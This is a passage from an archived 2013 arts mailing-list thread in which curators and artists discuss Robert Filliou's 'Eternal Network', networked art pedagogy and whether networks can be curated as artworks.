open and transparent and\naccessible. \n\nFor anyone interested, the Open Source Studio Website from fall 2012 is\nlocated at:\nhttp://oss.calarts.edu\n\nOSS was offered by Tom Leeser and his renowned Integrated Media Program at\nCalArts. And to add to Roddy's citation of one of my blog posts, here are\nall my posts detailing the project:\n\nUp Close and Personal with Furtherfield\nhttp://www.randallpacker.com/?p=2798\n\nOSS as 3rd Space\nhttp://www.randallpacker.com/?p=2870\n\nPedagogy as Collective Agency\nhttp://www.randallpacker.com/?p=2827\n\nCalArts @ 30,000 Feet\nhttp://www.randallpacker.com/?p=2787\n\nThe Storm, the Dialogue, and the Desert Moon\nhttp://www.randallpacker.com/?p=2774\n\nIs this the Future?\nhttp://www.randallpacker.com/?p=2755\n\nRandall\n\n\n\n\n\nOn 2/5/13 6:32 PM, \"Roddy Hunter\" <[log in to unmask]> wrote:\n\n>Hi Randall,\n>\n>Glad to see you here, thanks for your comments. I really enjoyed\n>participating in your recent Open Source Studio Global Concept Exchange on\n>the work of Marc and Ruth at Furtherfield (\n>http://www.randallpacker.com/?p=2798). It was there I encountered Annie\n>Abrahams for the first time and have invited her as a respondent to this\n>discussion here. We could talk about that event as an example of how your\n>particular networked-pedagogic methdology works in terms of production,\n>distribution, perception. I have some notes somewhere, if you'd like.\n>\n>I asked a question then about Cal Arts in relation to\n>cross-interdisciplnary pedagogy in relation to my own experience at\n>Dartington College of Arts from 1998-2007, where there was a comparably\n>experimental approach. There is a good relationship too between your Open\n>Source Studio model and Filliou's interest in pedagogy in art. His\n>artists'\n>book 'Teaching and Learning As Perfroming Arts' (\n>http://www.leftmatrix.com/teachingandlearning.html) is similarly dialogic\n>in tone. Yours is digitally networked, his is materialistically analogue?\n>\n>Best wishes\n>\n>Roddy\n>\n>On 5 February 2013 21:59, Randall Packer <[log in to unmask]> wrote:\n>\n>> I was very interested in Roddy's reference to Robert Filliou's notion of\n>> 'permanent creation,' which came up recently in an essay by Janet\n>> Sarbanes: \"The Poiegg and the Mickeymaushaus: Peedagogy and Spatial\n>> Practice at the California Institute of the Arts.\" In this essay,\n>>Sarbanes\n>> describes CalArts as influenced by the Bauhaus in its approach to the\n>> \"building\" as structure for the development of new radical pedagogical\n>> techniques in arts education as well as the synthesis of the arts. More\n>> specifically, she points to Filliou's \"Institute of Permanent Creation\n>> where anybody might make suggestions about what kinds of things might be\n>> investigated or looked at\" as a transparent and open source approach to\n>> teaching and learning. The idea of \"education as dialogue rather than\n>>as a\n>> transmission of knowledge\" was a fundamental concept I employed in the\n>> online course I taught at CalArts last semester entitled Open Source\n>> Studio. (several participants of this community, including Marc Garrett,\n>> Ruth Catlow, Annie Abrahams, and Helen Varley Jamieson, were guest\n>> speakers in the course)\n>>\n>> Like Roy Ascott's reference to the 'gesamtdatenwerk' in his seminal\n>>essay,\n>> \"Is There Love in the Telematic Embrace,\" I believe more than ever after\n>> teaching Open Source Studio, that the network and its tools can be used\n>>to\n>> shift art education into a less hierarchical and more peer-to-peer,\n>> collective experience: precisely where it belongs. In this sense,\n>>Roddy's\n>> suggestion of the political nature of networks-as-artworks also applies\n>>to\n>> the idea of the network-as-art-school.\n>>\n>> My own 'utopia' in this regard is the post-institutional approach to\n>> teaching. I gave up on the idea of being \"institutionalized\" in my\n>> academic career several years ago, and now freelance for several\n>> Universities and art schools around the world. It is through this\n>> developing network that I see the potential of bringing students into an\n>> \"open university\" setting - no longer tethered to a single institution -\n>> through video-conferencing and other forms of networked learning tools.\n>>It\n>> is my hope that art students can reach out inter-institionally and\n>> inter-culturally to engage in a form of collaborative research and\n>> production that is underutilized, but well within our reach conceptually\n>> and technologically.\n>>\n>> I would be interested in related work in this area.\n>>\n>> Randall\n>>\n>> On 2/3/13 9:39 PM, \"Roddy Hunter\" <[log in to unmask]> wrote:\n>>\n>> >Dear List,\n>> >\n>> >It is my pleasure to announce the February 2013 Theme of the Month.\n>> >\n>> >\u0152Curating the Network as Artwork\u00b9\n>> >\n>> >In 1968, artists George Brecht and Robert Filliou co-created 'The\n>>Eternal\n>> >Network'. Arguably, this network was itself an artwork and vice versa.\n>> >Filliou in particular explored how this network-as-artwork could enable\n>> >collaboration, exchange and dialogue across space and time. More than\n>> >solely a means of distribution or medium of production, 'The Eternal\n>> >Network' became for him a conceptual context for \u0152permanent creation\u00b9\n>> >(Filliou 1996). Filliou\u00b9s project is one example of many in which\n>>artists\n>> >inhabit networks as systems of communication and exchange (Grundmann\n>> >1984; Saper 2001). These networks are attractive to artists as\n>> >decentralised or distributed environments bypassing institutional\n>> >curatorial spaces. There is then often a political as well as aesthetic\n>> >dimension to the attractiveness of networks-as-artworks. This may now,\n>> >however, be undermined by a dependence of these networks upon the\n>> >internet which has been argued to be \u0152the most material and visible\n>>sign\n>> >of globalisation\u00b9 (Manovich 2001, 6). Lovink (2002) has cited the view\n>> >that the \u0152pace [of globalisation] has increased with the advent of new\n>> >technologies, especially in the area of telecommunications\u00b9 and so\n>> >artists, activists and commercial, corporate players alike have\n>>employed\n>> >online networks in search of their respective \u0152utopias\u00b9. Lovink\n>> >elaborates on this irreconcilability later that \u0152we need to develop a\n>> >long-term view on how networked technologies should and should not be\n>> >embedded in political and cultural practices\u00b9. (Lovink 2012, 160) How\n>>far\n>> >has the \u0152globalism\u00b9 of communication sought by Filliou and others been\n>> >supplanted by \u0152globalisation\u00b9 in its neoliberal, doctrinal sense?\n>> >(Chomsky 1999). Can the network as artwork be effective beyond\n>> >conceptualisation in material terms? How can we rethink curatorial\n>> >strategies in respect of the network-as-artwork\u00b9s media of production,\n>> >means of distribution and experience of reception? In short, how can we\n>> >find ways to curate 'The Eternal Network' after globalisation?\n>> >\n>> >References:\n>> >Chomsky, Noam. 1999. Profit Over People: Neoliberalism and Global\n>>Order.\n>> >New York: Seven Stories Press.\n>> >Filliou, Robert. 1996. From Political to Poetical Economy. Vancouver:\n>> >Morris and Helen Belkin Gallery.\n>> >Grundmann, Heidi. 1984. Art and Telecommunication. Vancouver: Western\n>> >Front / Vienna: BLIX\n>> >Lovink, Geert. 2002. \u00b3A Ramble through Theories of Globalization\u00b2.\n>> >Available at\n>> \n>>>http://geertlovink.org/texts/a-ramble-through-theories-of-globalization/\n>>>.\n>> >Lovink, Geert. 2012. Networks Without a Cause: A Critique of Social\n>> >Media. Cambridge: Polity.\n>> >Manovich, Lev. 2001. The Language of New Media. MIT press.\n>> >Saper, Craig J. 2001. Networked Art. St Paul: University of Minnesota\n>> >Press\n>> >\n>> >Invited respondents are:\n>> >\n>> >Annie Abrahams\n>> >Artist who questions the possibilities and the limits of communication\n>>in\n>> >general and more specifically investigates its modes under networked\n>> >conditions.\n>> >http://bram.org/info/aa.htm\n>> >\n>> >Zeigam Azizov\n>> >Artist born in Azerbaijan, based in London. Studied art and philosophy\n>>in\n>> >Russia, France and UK. His work addresses the question of\n>> >cross-circulations of knowledge through images. Exhibitions include\n>> >Venice Biennale, Tate Modern, Haus der Kunst, M\u00fcnchen, Grazer\n>> >Kunstverein, TN Probe, Tokyo, ICA London and Lakeside Kunstraum,\n>> >Klagenfurt.\n>> >http://zeigamazizov.com/\n>> >\n>> >Mideo M. Cruz\n>> >Cross-disciplinary artist-organizer based in Manila and Southeast Asia.\n>> >Network projects critiquing globalisation include New World Disorder in\n>> >addition to performances internationally.\n>> >http://www.mideo.tk/\n>> >\n>> >Barnaby Dicker\n>> >Artist-filmmaker, researcher, lecturer and curator. He holds a\n>>doctorate\n>> >in experimental stop-frame cinematography and teaches on BA Film\n>> >Production at University for the Creative Arts, Farnham and the Royal\n>> >College of Art, London. He is a founder member of Art\u00b9s Birthday Wales,\n>> >which annually celebrates Robert Filliou\u00b9s fifty year-old proposition.\n>> >http://artsbirthdaywales.tumblr.com\n>> >\n>> >Ken Friedman\n>> >University Distinguished Professor at Swinburne University in\n>>Melbourne,\n>> >Australia. Since 1966, Friedman has been active in Fluxus. Theory,\n>> >Culture, and Society recently published Friedman's reflections on\n>>Fluxus\n>> >at the 50-year mark. The full text is available free at:\n>> >http://tcs.sagepub.com/content/29/7-8/372\n>> >\n>> >Marc Garrett\n>> >Artist, curator, writer, activist, educator and musician. Co-Founder &\n>> >Co-Director, Furtherfield, London and currently doctoral researcher in\n>> >Art, Technology and Social Change at Birkbeck, University of London.\n>> >http://www.furtherfield.org/user/marc-garrett\n>> >\n>> >Ingo G\u00fcnther\n>> >Artist and journalist based in New York. Studied Ethnology and Cultural\n>> >Anthropology in Frankfurt, graduated from Kunstakademie D\u00fcsseldorf.\n>> >Founded Eastern Europe's first public access non-commercial TV station.\n>> >The social geography project Worldprocessor is now in its 24th year.\n>> >http://ingogunther.com\n>> >\n>> >Iliyana Nedkova\n>> >Curator and writer. Creative Director (Contemporary Art) at Horsecross,\n>> >Perth and Research Curator at CCA, Glasgow\n>> >http://www.horsecross.co.uk/about/threshold-artspace\n>> >\n>> >Helen Pritchard\n>> >Artist and researcher exploring ideas of co-research, co-production and\n>> >co-operation. Currently doctoral researcher at 'HighWire', Lancaster\n>> >University and visiting researcher at City University, Hong Kong.\n>> >http://www.helenpritchard.info\n>> >\n>> >Clive Robertson\n>> >Performance and media artist, curator and critic teaching art history,\n>> >performance and cultural studies at Queen's University, Kingston,\n>>Canada.\n>> >http://www.queensu.ca/art/arthistory/faculty/cRobertson.html\n>> >\n>> >Scott Watson\n>> >Head and Professor of Art History, Visual Art and Theory and\n>> >Director/Curator of the Morris and Helen Belkin Art Gallery at the\n>> >University of British Columbia, Vancouver.\n>> >http://www.ahva.ubc.ca/facultyIntroDisplay.cfm?InstrID=19&FacultyID=1\n>> >\n>> >Looking forward to a good conversation,\n>> >\n>> >Best wishes\n>> >\n>> >Roddy\n>> >\n>> >CRUMB Profile: http://tinyurl.com/cm5t3bp\n>>\n>>\n>>\n>\n>\n>-- \n>Roddy Hunter\n>\n>artist\uff5ccurator\uff5ceducator\uff5cwriter\n>\n>[log in to unmask]\n>http://yorksj.academia.edu/RoddyHunter/About",
                        "id": 0,
                        "date": "Tue, 5 Feb 2013 22:19:33 -0500",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=11815",
                        "content-type": "text/plain",
                        "author_name": "Randall Packer",
                        "subject": "Re: February 2013 Theme of the Month: \u0152Curating the Network as Artwork\u00b9"
                    },
                    {
                        "from": "Roddy Hunter",
                        "content": "\nDear List,\n\nIt is my pleasure to announce the February 2013 Theme of the Month.\n\n\u2018Curating the Network as Artwork\u2019\n\nIn 1968, artists George Brecht and Robert Filliou co-created 'The Eternal Network'. Arguably, this network was itself an artwork and vice versa. Filliou in particular explored how this network-as-artwork could enable collaboration, exchange and dialogue across space and time. More than solely a means of distribution or medium of production, 'The Eternal Network' became for him a conceptual context for \u2018permanent creation\u2019 (Filliou 1996). Filliou\u2019s project is one example of many in which artists inhabit networks as systems of communication and exchange (Grundmann 1984; Saper 2001). These networks are attractive to artists as decentralised or distributed environments bypassing institutional curatorial spaces. There is then often a political as well as aesthetic dimension to the attractiveness of networks-as-artworks. This may now, however, be undermined by a dependence of these networks upon the internet which has been argued to be \u2018the most material and visible sign of globalisation\u2019 (Manovich 2001, 6). Lovink (2002) has cited the view that the \u2018pace [of globalisation] has increased with the advent of new technologies, especially in the area of telecommunications\u2019 and so artists, activists and commercial, corporate players alike have employed online networks in search of their respective \u2018utopias\u2019. Lovink elaborates on this irreconcilability later that \u2018we need to develop a long-term view on how networked technologies should and should not be embedded in political and cultural practices\u2019. (Lovink 2012, 160) How far has the \u2018globalism\u2019 of communication sought by Filliou and others been supplanted by \u2018globalisation\u2019 in its neoliberal, doctrinal sense? (Chomsky 1999). Can the network as artwork be effective beyond conceptualisation in material terms? How can we rethink curatorial strategies in respect of the network-as-artwork\u2019s media of production, means of distribution and experience of reception? In short, how can we find ways to curate 'The Eternal Network' after globalisation?\n\n\n\nReferences:\nChomsky, Noam. 1999. Profit Over People: Neoliberalism and Global Order. New York: Seven Stories Press.\nFilliou, Robert. 1996. From Political to Poetical Economy. Vancouver: Morris and Helen Belkin Gallery.\nGrundmann, Heidi. 1984. Art and Telecommunication. Vancouver: Western Front / Vienna: BLIX\nLovink, Geert. 2002. \u201cA Ramble through Theories of Globalization\u201d. Available at http://geertlovink.org/texts/a-ramble-through-theories-of-globalization/.\nLovink, Geert. 2012. Networks Without a Cause: A Critique of Social Media. Cambridge: Polity.\nManovich, Lev. 2001. The Language of New Media. MIT press.\nSaper, Craig J. 2001. Networked Art. St Paul: University of Minnesota Press\n\n\n\nInvited respondents are:\n\nAnnie Abrahams\nArtist who questions the possibilities and the limits of communication in general and more specifically investigates its modes under networked conditions. \nhttp://bram.org/info/aa.htm\n\nZeigam Azizov\nArtist born in Azerbaijan, based in London. Studied art and philosophy in Russia, France and UK. His work addresses the question of cross-circulations of knowledge through images. Exhibitions include Venice Biennale, Tate Modern, Haus der Kunst, M\u00fcnchen, Grazer Kunstverein, TN Probe, Tokyo, ICA London and Lakeside Kunstraum, Klagenfurt.\nhttp://zeigamazizov.com/\n\nMideo M. Cruz\nCross-disciplinary artist-organizer based in Manila and Southeast Asia. Network projects critiquing globalisation include New World Disorder in addition to performances internationally. \nhttp://www.mideo.tk/\n\nBarnaby Dicker\nArtist-filmmaker, researcher, lecturer and curator. He holds a doctorate in experimental stop-frame cinematography and teaches on BA Film Production at University for the Creative Arts, Farnham and the Royal College of Art, London. He is a founder member of Art\u2019s Birthday Wales, which annually celebrates Robert Filliou\u2019s fifty year-old proposition.\nhttp://artsbirthdaywales.tumblr.com\n\nKen Friedman\nUniversity Distinguished Professor at Swinburne University in Melbourne, Australia. Since 1966, Friedman has been active in Fluxus. Theory, Culture, and Society recently published Friedman's reflections on Fluxus at the 50-year mark. The full text is available free at: http://tcs.sagepub.com/content/29/7-8/372\n\nMarc Garrett\nArtist, curator, writer, activist, educator and musician. Co-Founder & Co-Director, Furtherfield, London and currently doctoral researcher in Art, Technology and Social Change at Birkbeck, University of London.\nhttp://www.furtherfield.org/user/marc-garrett\n\nIngo G\u00fcnther\nArtist and journalist based in New York. Studied Ethnology and Cultural Anthropology in Frankfurt, graduated from Kunstakademie D\u00fcsseldorf. Founded Eastern Europe's first public access non-commercial TV station. The social geography project Worldprocessor is now in its 24th year. \nhttp://ingogunther.com\n\nIliyana Nedkova\nCurator and writer. Creative Director (Contemporary Art) at Horsecross, Perth and Research Curator at CCA, Glasgow\nhttp://www.horsecross.co.uk/about/threshold-artspace\n\nHelen Pritchard\nArtist and researcher exploring ideas of co-research, co-production and co-operation. Currently doctoral researcher at 'HighWire', Lancaster University and visiting researcher at City University, Hong Kong.\nhttp://www.helenpritchard.info\n\nClive Robertson\nPerformance and media artist, curator and critic teaching art history, performance and cultural studies at Queen's University, Kingston, Canada.\nhttp://www.queensu.ca/art/arthistory/faculty/cRobertson.html\n\nScott Watson\nHead and Professor of Art History, Visual Art and Theory and Director/Curator of the Morris and Helen Belkin Art Gallery at the University of British Columbia, Vancouver. \nhttp://www.ahva.ubc.ca/facultyIntroDisplay.cfm?InstrID=19&FacultyID=1\n\nLooking forward to a good conversation, \n\nBest wishes\n\nRoddy\n\nCRUMB Profile: http://tinyurl.com/cm5t3bp",
                        "id": 0,
                        "date": "Mon, 4 Feb 2013 02:39:36 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=2003",
                        "content-type": "text/plain",
                        "author_name": "Roddy Hunter",
                        "subject": "February 2013 Theme of the Month: \u2018Curating the Network as Artwork\u2019"
                    }
                ],
                "date": "Tue, 5 Feb 2013 16:59:35 -0500",
                "list": "crumb",
                "author_name": "Randall Packer",
                "subject": "Re: February 2013 Theme of the Month: \u0152Curating the Network as Artwork\u00b9"
            },
            {
                "content-type": "text/plain",
                "from": "Clive Robertson",
                "content": "\nIn considering what the network is or was \u2013 even before calling its project organizing an \u201cartwork\u201d (and what is the hoped for gain of this description \u2013 for whom is it being described as such: for artists, critics, research funders, taxpayers, etc.?) it might be good to admit that Filliou\u2019s concept of a an artists network as it gained popularity always looked different from the time and place of observation. Its signification was predictably altered by cultural change and by institutionalization. That is only to suggest that it meant something different for Brecht and Filliou, a lot of different things when employed by Filliou-inspired artist collectives and spaces of the 1970s, and so on along its paths to \u201cre-discovery\u201d and/or recapturing in the 21st century.\nFor me it matters that Filliou\u2019s statements came prefaced with what amounts to a social critique. So when Roddy quotes Filliou saying, \u201cEverytime we turn our attention to what we don\u2019t know, we are doing research\u201d the statement is missing its preface which is, \u201cResearch is not the domain of those who know; on the contrary it is the domain of those who do not know.\u201d Was Filliou poking at scholarly specialists (that now includes many of us as respondents) ? Probably. The set-up for announcing the Eternal Network/La Fete est Permanent is similar. \u201cThere is always someone making a fortune, someone going bankrupt \u2013 we in particular.\u201d  Does this suggest that artist poverty or precarity is a pre-condition for being a network member? Of course not.  Filliou wrote, \u201cAs you can see, we included the fact of our being bankrupt as part of La Fete Permanente. To us, this an important element of the Eternal Network: including in it the harmful, painful or disagreeable things in life, as well as the pleasant, profitable ones.\u201d (Teaching and Learning as Performing Arts, Verlag Gebr,Konig, Koln, 1970)  It was (he writes) supposed to help wean artists off of their allotted competitiveness. But was it what we would now call a \u201csafe space?\u201d Was the network brought into being with any socially operational effects in mind? Think of Facebook, not as a corporate string pulling, but how we try to use it with our \u201cfriends.\u201d What works and doesn\u2019t work when we try to interact? We have some general sense of what gets approval in our specific node but not much else. Do we describe our earliest use of FB an \u201cartwork?\u201d\nSpeaking of and to the history of the network, I now want to detour via what Stuart Hall (co-founder of British Cultural Studies) wrote about that project\u2019s history and the \u201cwill to connect\u201d (\u201cCultural Studies and its theoretical legacies,\u201d 1992 ). (This was v. useful for me when I was seeking a way to trouble my view of the history of artist spaces as a doctoral project.) \nSo while Hall acknowledges that cultural studies as a project is open-ended, \u201calways open to that which it does not know yet, to that which it can\u2019t yet name,\u201d he also argues against pluralism and for the stakes (something at stake) of cultural studies. It will probably take a second post to get to the core of what I think the stakes of an collective artist practice could / might be in relation to a network and that has something to do with a present that appears to accept that the merging of functions of artist, curator, critic, and patron works out for the best of all involved. That collegial management is perhaps the only way forward for a brighter future?\nLike our view of art (on good days) Hall reviews c.s. as \u201ca serious project, that is inscribed in what is sometimes called the \u201cpolitical\u201d aspect of cultural studies,\u201d not he adds, \u201c that there\u2019s one politics inscribed within it.\u201d  The tension, Hall says, is \u201cbetween a refusal to close the field, to police it, and fluency.\u201d  \nSo what if any is the significance of artists formulating and maintaining a network? Hall cites Raymond Williams who wrote that \u201cthe relation between a project and a (discursive) formation is always decisive because they are different ways of materializing\u2026and then describing a common disposition of energy and direction.\u201d (Raymond Williams, \u201cThe Future of Cultural Studies, 1989).  \nSo I guess from this follows a question of whether or not (or at least in what sense) in this discussion are we bothered whether the \u201cdiscursive formation\u201d we are hailing is about \u201cart\u201d or \u201cartists?\u201d  And in its vagueness, does it matter if the network had / has a \u201ccommon direction\u201d that in any way, shape or form might be called \u2018political\u2019 ?",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=22100",
                "follow-up": [
                    {
                        "from": "Barnaby Dicker",
                        "content": "\nDear all,\n\nThis post is loosely intended as a response to some aspects of Clive\u2019s lucid and meaty post of last Monday.\n\nClive opens by stating that we should \u2018consider what the network is or was [...] before calling its project organizing an \u201cartwork\u201d (and what is the hoped for gain of this description \u2013 for whom is it being described as such: for artists, critics, research funders, taxpayers, etc.?).\u2019\n\nOn one hand this is absolutely right and necessary, and yet, at the same time, this makes a severance where there should perhaps not be one. i.e. for our discussion we are considering the curation of the network as artwork. We do well to remember that Filliou\u2019s Eternal Network of Permanent Creation connects all artists across time and space. Just as we also do well to remember Filliou\u2019s (amongst others\u2019) project of \u2018decommissioning\u2019 the artist (the name, the role) and making time and space for everyone to see their activities in creative terms.\n\nPersonally, for better or worse, I was immediately pleased to see Roddy\u2019s unabashed use of the word \u2018artwork\u2019 in the discussion topic title. While I have a lot of time for \u2018decommissionist\u2019 / revisionist antics and ideas, I also feel that we stray into the realm of delusion when we call our activities something other than art. However close our work might come to political activism, social regeneration, therapy, philosophy, free market capitalism, etc. it is still art. If it wasn\u2019t, we simply couldn\u2019t frame it in these terms. I feel we can, and should, take some pride in art. Just as those in other fields should take pride in what they do. Art is only a dirty word if we make it one.\n\nThe way I approach my \u2018network\u2019 work is as an artist/curator. It means generating particular forms of creative/meaningful exchange with other people that might be different to other creative/meaningful exchanges. Eg. for Art\u2019s Birthday this year we approached a local \u2018specialist cake designer\u2019 to make 12 cake designs chosen at random from 150+ designs that we had received following an open call. The \u2018novelty\u2019 (possibly the wrong word) of this ricochets through all levels (including Council Health and Saftey regulations). So, something that might seem superficial can actually carry great complexity and substance \u2013 defined by and through the contributors and contributions over and above the concept. The importance of the concept, then, lies in generating something that can structure or frame or inspire the activities that really form the work. Needless to say, the cakes were eaten by all those who attended the Art\u2019s Birthday celebration.\n\nI suppose I have decided that I would like to spend a significant portion of my life taking part in creative exchanges. Sometimes I initiate them, sometimes I am invited to take part. Sometimes they go somewhere, sometimes they don\u2019t. Sometimes I enjoy them, sometimes I don\u2019t. I can either think of creative exchange as a whole, in general or I can break it down to a project by project basis. I see Filliou\u2019s system playing on this tension between perceiving an endless stream of creativity and a compartmentalised, rationalised collection of things done and felt.\n\nTo end. An interesting issue thrown up by Clive\u2019s post concerns what we consider \u2018official\u2019 theory/philosophy and how we legitimate \u2018unofficial\u2019 theory/philosophy through \u2018official\u2019 theory/philosophy. Clive brings in Hall and Williams to reiterate/support/substantiate Filliou. Following Clive\u2019s intervention (as but one example), does this now mean that Filliou can be used in the same way as we do Hall and Williams? Are Hall and Williams now open to accusations of copying Filliou (given the sequence of presentations)? Or are they seen to be working in such separate fields that the congruence is merely coincidental, and purely affirmative of the shared project?\nConsidering \u2018La fete permanente,\u2019 it occurs to me presently that what is at stake is the degree of importance we ascribe the \u2018carnival\u2019 to the \u2018normal\u2019 running of society and the terms of their relationship. Does \u2018cultural theory\u2019 et al belong to the carnival or to \u2018normal\u2019 society? And what kind or degree of impact do we acknowledge the two sides have on each other? Can we cleanly split these two realms? Is it inappropriate to do so? Should we look to Filliou and his collaborators for answers? Or to their inheritors? Or to other theorists and historians? Or to society directly?\n\nBarnaby   ",
                        "id": 0,
                        "date": "Sun, 17 Feb 2013 18:22:00 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=27078",
                        "content-type": "text/plain",
                        "author_name": "Barnaby Dicker",
                        "subject": "Re: Does it matter if the network had / has a \u201ccommon direction\u201d that in any way, shape or form might be called \u2018political\u2019 ?"
                    },
                    {
                        "from": "Mike Stubbs",
                        "content": "\n...lurking on the edges...and just travelling back form the opening of\n\n*\"YES MAN DOES WHAT IT IS\"\nThe editions of Galerie Erhard Klein\n1972 - 2006*\n\nhttp://www.bonner-kunstverein.de/ausstellungen/aktuell/sieht-man-ja-was-es-ist-die-editionen-der-galerie-erhard-klein/\n\nhighly recommended and hopefully can travel to the uk\n\na testament to a social network (rhineland) and one which influences such\nso much of our practice - be it new media or performative ...in the\nsituation and encouraging new forms of social democracy\n\nklein was is a clever fella and at the time had the curiosity to\nbefriend-learn-deal: Polke, Beuys, Kippengberger, Klauke and so on\n\ntodays event was full of middle aged artists friends and family - but what\ni took form the event (apart form seeing wonderful artwork) was *family* and\na reminder of how things just happen through groups of people swarming\n\nand then of course there is the digital stuff.....\n\nmore on that another day\n\nmike\n\n\n\nOn 17 February 2013 18:22, Barnaby Dicker <[log in to unmask]> wrote:\n\n> Dear all,\n>\n> This post is loosely intended as a response to some aspects of Clive\u2019s\n> lucid and meaty post of last Monday.\n>\n> Clive opens by stating that we should \u2018consider what the network is or was\n> [...] before calling its project organizing an \u201cartwork\u201d (and what is the\n> hoped for gain of this description \u2013 for whom is it being described as\n> such: for artists, critics, research funders, taxpayers, etc.?).\u2019\n>\n> On one hand this is absolutely right and necessary, and yet, at the same\n> time, this makes a severance where there should perhaps not be one. i.e.\n> for our discussion we are considering the curation of the network as\n> artwork. We do well to remember that Filliou\u2019s Eternal Network of Permanent\n> Creation connects all artists across time and space. Just as we also do\n> well to remember Filliou\u2019s (amongst others\u2019) project of \u2018decommissioning\u2019\n> the artist (the name, the role) and making time and space for everyone to\n> see their activities in creative terms.\n>\n> Personally, for better or worse, I was immediately pleased to see Roddy\u2019s\n> unabashed use of the word \u2018artwork\u2019 in the discussion topic title. While I\n> have a lot of time for \u2018decommissionist\u2019 / revisionist antics and ideas, I\n> also feel that we stray into the realm of delusion when we call our\n> activities something other than art. However close our work might come to\n> political activism, social regeneration, therapy, philosophy, free market\n> capitalism, etc. it is still art. If it wasn\u2019t, we simply couldn\u2019t frame it\n> in these terms. I feel we can, and should, take some pride in art. Just as\n> those in other fields should take pride in what they do. Art is only a\n> dirty word if we make it one.\n>\n> The way I approach my \u2018network\u2019 work is as an artist/curator. It means\n> generating particular forms of creative/meaningful exchange with other\n> people that might be different to other creative/meaningful exchanges. Eg.\n> for Art\u2019s Birthday this year we approached a local \u2018specialist cake\n> designer\u2019 to make 12 cake designs chosen at random from 150+ designs that\n> we had received following an open call. The \u2018novelty\u2019 (possibly the wrong\n> word) of this ricochets through all levels (including Council Health and\n> Saftey regulations). So, something that might seem superficial can actually\n> carry great complexity and substance \u2013 defined by and through the\n> contributors and contributions over and above the concept. The importance\n> of the concept, then, lies in generating something that can structure or\n> frame or inspire the activities that really form the work. Needless to say,\n> the cakes were eaten by all those who attended the Art\u2019s Birthday\n> celebration.\n>\n> I suppose I have decided that I would like to spend a significant portion\n> of my life taking part in creative exchanges. Sometimes I initiate them,\n> sometimes I am invited to take part. Sometimes they go somewhere, sometimes\n> they don\u2019t. Sometimes I enjoy them, sometimes I don\u2019t. I can either think\n> of creative exchange as a whole, in general or I can break it down to a\n> project by project basis. I see Filliou\u2019s system playing on this tension\n> between perceiving an endless stream of creativity and a compartmentalised,\n> rationalised collection of things done and felt.\n>\n> To end. An interesting issue thrown up by Clive\u2019s post concerns what we\n> consider \u2018official\u2019 theory/philosophy and how we legitimate \u2018unofficial\u2019\n> theory/philosophy through \u2018official\u2019 theory/philosophy. Clive brings in\n> Hall and Williams to reiterate/support/substantiate Filliou. Following\n> Clive\u2019s intervention (as but one example), does this now mean that Filliou\n> can be used in the same way as we do Hall and Williams? Are Hall and\n> Williams now open to accusations of copying Filliou (given the sequence of\n> presentations)? Or are they seen to be working in such separate fields that\n> the congruence is merely coincidental, and purely affirmative of the shared\n> project?\n> Considering \u2018La fete permanente,\u2019 it occurs to me presently that what is\n> at stake is the degree of importance we ascribe the \u2018carnival\u2019 to the\n> \u2018normal\u2019 running of society and the terms of their relationship. Does\n> \u2018cultural theory\u2019 et al belong to the carnival or to \u2018normal\u2019 society? And\n> what kind or degree of impact do we acknowledge the two sides have on each\n> other? Can we cleanly split these two realms? Is it inappropriate to do so?\n> Should we look to Filliou and his collaborators for answers? Or to their\n> inheritors? Or to other theorists and historians? Or to society directly?\n>\n> Barnaby\n>\n\n\n\n-- \n\n\n@Mike Stubbs\nDirector\nFACT\n\n\nwww.fact.co.uk\n\nhttp://about.me/mikestubbs\n\n\n\n88 Wood Street\nLiverpool L1 4DG\n\n+ 44 (0) 151 707 4444\n+ 44 (0) 7876 560657\n\nskype name: mikestubbs45\n-----------------------------------------------------------------\n-----------------------------------------------------------------\n\n*FACT - Bringing people, art and *\n*technology together since 2003*\n\n\n-----------------------------------------------------------------\n\n-----------------------------------------------------------------\n\n\n\n*Winter Sparks*\n\n*13 December - 24 February*\n\n\n\nVisitors to FACT will be able to experience a light\n\nand sound show with electric sparks, interact with\n\nthe dramatic charges from Tesla coils, and explore\n\nthe mysteries of the Wilberforce pendulum.\n\n\n\n*Winter Sparks* features the awe-inspiring\n\nphysics-based works of Canadian artist and\n\ncomposer Alexandre Burton, Dutch artist and\n\nacademic Edwin van der Heide, and\n\nSpain-based Bosch & Simons, known for\n\ntheir complex 'music machines'.\n\n\n-----------------------------------------------------------------\n-----------------------------------------------------------------",
                        "id": 0,
                        "date": "Sun, 17 Feb 2013 20:19:02 +0000",
                        "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=27870",
                        "content-type": "text/plain",
                        "author_name": "Mike Stubbs",
                        "subject": "Re: Does it matter if the network had / has a \u201ccommon direction\u201d that in any way, shape or form might be called \u2018political\u2019 ?"
                    },
                    {
                        "from": "Roddy Hunter",
                        "content": "\nHi Mike (and all)\n\nGlad to see the discussion tempted you out from lurking around the edges. I'm very aware that I've not been catalysing the discussion this week. Too many issues off-list at present. Apologies for neglected correspondence, I will catch up. I am still trying to find time to collate a list of things we might consider as 'networks-as-artworks' already referenced here and others elsewhere. Please do send links and perhaps a few words, needs be nothing more than that.\n\nIn the meantime, in preparing a lecture for first year undergraduate students on Duchamp, postmodernism and appropriation I was quickly searching for Filliou's view on how The Eternal Network 'replaced the concept of the avant-garde which has become obsolete' because: \n\n\"If it is true that information about the knowledge of all modern art research is more than any one artist could comprehend, then the concept of the avant-garde is obsolete. With incomplete knowledge, who can say who is in front, and who ain't. I suggest that considering each artist as part of an Eternal Network is a much more useful concept.\" (http://www.franklinfurnace.org/research/projects/flow/mailart/mailartf.html)\n\nSteven Harris has noted that Filliou 'equates art with knowledge here, and still retains a notion of art as research.' I am not sure I agree with this link with knowledge entirely, particularly in the case of practice-led research, unless it also refers to unconscious knowledge which I assume it does. Does this production of knowledge generate value, hence our scholarly interest? Does that institutionalise the practice as a form of capital? What then is it capacity for radicality, for critique ... what does this means for notions of critical art practice?\n\nIn any case, while quickly searching for references I cam across this information regarding the 